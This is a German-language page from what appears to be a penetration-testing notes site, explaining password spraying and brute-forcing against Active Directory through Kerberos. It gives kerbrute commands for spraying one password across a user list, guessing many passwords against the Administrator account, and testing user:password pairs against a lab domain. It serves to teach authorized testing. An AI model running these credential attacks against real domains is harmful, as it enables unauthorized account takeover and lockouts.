> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/kerberos/password-spraying-with-kerberos.md).

# Password Spraying mit Kerberos

Sicherheitsnotizen zu Active Directory für „Password Spraying mit Kerberos“, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.

### Prinzip

**Passwort-Spraying** besteht darin, dasselbe Passwort bei mehreren Benutzern zu testen.

Im Gegensatz zu einem klassischen Brute-Force vermeiden wir es, viele Passwörter bei einem einzigen Konto zu testen, was das Risiko einer Kontosperrung verringert.

### Passwort-Spray mit Kerbrute

Beispiel mit einem bestimmten Passwort:

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

Dieser Befehl testet das Passwort `Password123` bei allen in `usernames.txt`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2419a6f381c8e99189e7e36430bb69bec98f123e%2Fimage%20(3282).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute-Force auf einen bestimmten Benutzer

Wenn wir mehrere Passwörter bei einem bestimmten Benutzer testen wollen:

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrator
```

{% endcode %}

Hier, `passwords.txt` enthält eine Passwortliste.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-246394d2eb0ec562842dd9f986c956550580cf47%2Fimage%20(3283).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute-Force mit Benutzer/Passwort-Paaren

Wir können auch eine Datei verwenden, die Paare im Format enthält:

```
Benutzername:Passwort
```

Beispiel:

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

Reihenfolge :

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9c969015e511ce01362cfe93fe69722c9e36c29%2Fimage%20(3284).png?alt=media" alt=""><figcaption></figcaption></figure>


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